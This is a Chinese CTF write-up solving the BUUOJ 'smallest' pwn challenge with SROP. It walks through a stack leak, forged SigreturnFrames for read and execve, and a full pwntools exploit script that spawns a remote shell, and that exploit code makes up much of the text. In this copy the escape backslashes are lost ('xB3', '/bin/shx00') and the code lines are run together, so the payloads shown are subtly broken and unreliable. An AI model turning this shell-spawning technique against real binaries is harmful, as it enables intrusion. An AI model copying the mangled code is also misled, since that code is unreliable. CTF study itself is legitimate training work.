【PWN】刷题记录-SROP

admin 2024年2月15日14:34:48评论6 views字数 4941阅读16分28秒阅读模式

题目链接(经典例题):

https://buuoj.cn/challenges#360chunqiu2017_smallest

非常经典的SROP例题。

首先用checksec检查程序保护:

【PWN】刷题记录-SROP

只开了堆栈不可执行。

拖入IDApro进行静态分析。

【PWN】刷题记录-SROP

程序只有简单的一个read功能,首先执行xor rax, rax将rax置成0,这是read函数的系统调用号。然后将edx赋值为0x400,将栈顶指针rsp作为buf赋值给rsi,代表读入字符的存放地址。接着将rax赋值给rdi,代表fd参数为0,即从stdin读取输入。最后执行syscall(系统调用),调用完执行ret跳转到rsp指向的地址。

关于系统调用号的说明,以下是64位系统中常用的函数的系统调用号:

#ifndef _ASM_X86_UNISTD_64_H#define _ASM_X86_UNISTD_64_H 1#define __NR_read 0#define __NR_write 1#define __NR_open 2#define __NR_close 3#define __NR_stat 4#define __NR_fstat 5#define __NR_lstat 6#define __NR_poll 7#define __NR_lseek 8#define __NR_mmap 9#define __NR_mprotect 10#define __NR_munmap 11#define __NR_execve 59

程序存在以下特点:

  • 程序不存在缓冲区,可以无限读取字符。

  • 只存在syscall; ret,不存在其他的gadget

  • 没有leave; ret,无法进行栈迁移到可控的区域,故需要泄露栈地址。

  • 程序正常read的时候,读取字符的前八个字节会存储在rsp上,在执行ret的时候作为返回地址。

考虑SROP技术进行getshell。

程序入口的地址为0x4000B0,所以第一次read传入的payload为:

start_addr = 0x4000B0# 1. 3 * start_addrpayload = 3 * p64(start_addr)p.send(payload)

第二次执行syscall之前,rsp指向第二个0x4000B0。由于需要leak出栈地址,考虑将rax赋值为1进行write的系统调用。所以第二次输入payload为:

# 2. leak stackdebug() # for debugpayload = b"xB3"p.send(payload)

将0x4000B0的最后一个字节覆盖为xB3,即rsp最后会跳转到0x4000B3,刚好跳过xor rax, rax。而read操作的返回值是读入的字符个数,且会把返回值存储在rax。故程序跳转到0x4000B3之后,刚好可以进行一次write操作:write(1, &rsp, 0x400)。即将栈顶开始的0x400个字节打印到标准输出流(stdout)中。

【PWN】刷题记录-SROP

从pwndbg调试的结果来看,此时write函数将要打印的地址除了第一个是之前输入的地址,从第二个开始就都是栈上的地址。所以可以据此得到栈上的地址:

stack_addr = u64(p.recv()[8:16])leak("stack", stack_addr)

执行完write函数之后,由于rsp此时依旧指向0x4000B0,所以会进行第三次read。

这次的read要考虑输入SigreturnFrame了。先给出payload再做进一步分析:

sigframe = SigreturnFrame(kernel="amd64")sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + p64(0) + bytes(sigframe)p.send(payload)

首先考虑构造一个read函数的SigreturnFrame。具体的意义如下:

  1. sigframe.rax = constants.SYS_read                ; 系统调用号为0

  2. sigframe.rdi = 0                                            ;fd=0

  3. sigframe.rsi = stack_addr                              ;buf

  4. sigframe.rdx = 0x400                                    ;length

  5. sigframe.rsp = stack_addr                             ;rsp

  6. sigframe.rip = syscall_ret                               ;rip

构造一个可以向已知栈地址读取字符串的read函数的上下文,但是需要另外一个系统调用SYS_rt_sigreturn(系统调用号为0xf,15)才能恢复read函数的上下文,从而执行构造的read操作。

所以在sigframe之前,加了一次返回0x4000B0的操作和空出一个8字节的栈地址,具体原因下面再进行分析。

将payload进行发送之后,rsp指向p64(0)的位置,此时进行第四次read操作,而这次,传入的payload为:

syscall_ret = 0x4000BE# 4. rax = 15payload = p64(syscall_ret)payload = payload.ljust(0xf, b"x00")p.send(payload)

首先p64(0)的位置会被覆盖成syscall; ret的位置,然后将payload使用x00填充到0xf的长度,这里x00会覆盖sigframe的第一个地址的前7位,这个不会影响sigframe的使用。

执行完这一次的read之后,在还没进行ret之前,rsp指向syascall; ret。执行完ret操作,rsp指向sigframe的第一位的地址,rip指向syscall。此时rax=0xf,故进行第一次的SYS_rt_sigreturn调用,如下:

【PWN】刷题记录-SROP

执行完SYS_rt_sigreturn,上下文被恢复成了read函数,此时由于在构造read函数的SigreturnFrame的时候,将rip设置为syscall_ret,即执行完read函数之后下一条指令就是syscall; ret。如下图。

【PWN】刷题记录-SROP

此时考虑第五次的输入,这时已经知道了read函数读取字符串的存储地址,考虑进行execve的系统调用进行getshell。

# 5. first sigframe exploitsigframe = SigreturnFrame(kernel="amd64")sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x150sigframe.rsi = 0sigframe.rdx = 0sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + p64(0) + bytes(sigframe)payload += (0x150 - len(payload)) * b"x00" + b"/bin/shx00"p.send(payload)

同样,在执行SYS_rt_sigreturn系统调用之前,要先令rax=0xf,所以在execve的上下文前面依然留了2个地址的空间进行rax的赋值操作,与read函数那边同理。

这边的上下文构造需要注意两个问题

  1. "/bin/shx00"字符的存放位置最好不要离首地址太远,否则会非常容易出现"timeout: the monitored command dumped coren"的错误(当然据我测试这个似乎看运气,但是偏移小一点出现错误的概率就会小,多尝试几次就成功getshell了)。

【PWN】刷题记录-SROP

2. 在做输入"/bin/shx00"之前的填充操作的时候,不要写:payload = payload.rjust(0x150, b"x00")。具体原因暂时没发现,只是这样写确实不行。

接着进行第六次的read操作:

# 6. rax = 15debug()payload = p64(syscall_ret)payload = payload.ljust(0xf, b"x00")p.send(payload)

经过这次的read,函数成功恢复了execve函数的上下文,并且通过syscall执行execve("/bin/sh", NULL, NULL)成功getshell。

【PWN】刷题记录-SROP

完整的wp

这个wp我自己写的时候遇到了很多问题,参考了一下别人写的比较优秀简洁的部分。

from pwn import *import syscontext(arch='amd64', os='linux')context.log_level='debug'leak = lambda name,address : log.success("{}: {:#x}".format(name, address))def debug():    if sys.argv[1] == "d":        pause()    else:        pass# p = gdb.debug("./smallest", "b *0x4000BE")# p = process("./smallest")p = remote("node4.buuoj.cn", 29675)start_addr = 0x4000B0syscall_ret = 0x4000BE# 1. 3 * start_addrpayload = 3 * p64(start_addr)p.send(payload)# 2. leak stackdebug() # for debugpayload = b"xB3"p.send(payload)stack_addr = u64(p.recv()[8:16])leak("stack", stack_addr)# 3. input sigframedebug()sigframe = SigreturnFrame(kernel="amd64")sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + p64(0) + bytes(sigframe)p.send(payload)# 4. rax = 15debug()payload = p64(syscall_ret)payload = payload.ljust(0xf, b"x00")p.send(payload)# 5. first sigframe exploitdebug()sigframe = SigreturnFrame(kernel="amd64")sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x150sigframe.rsi = 0sigframe.rdx = 0sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + p64(0) + bytes(sigframe)payload += (0x150 - len(payload)) * b"x00" + b"/bin/shx00"p.send(payload)# 6. rax = 15debug()payload = p64(syscall_ret)payload = payload.ljust(0xf, b"x00")p.send(payload)p.interactive()

原文始发于微信公众号(Stack0verf1ow):【PWN】刷题记录-SROP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日14:34:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】刷题记录-SROPhttps://cn-sec.com/archives/2218006.html

发表评论

匿名网友 填写信息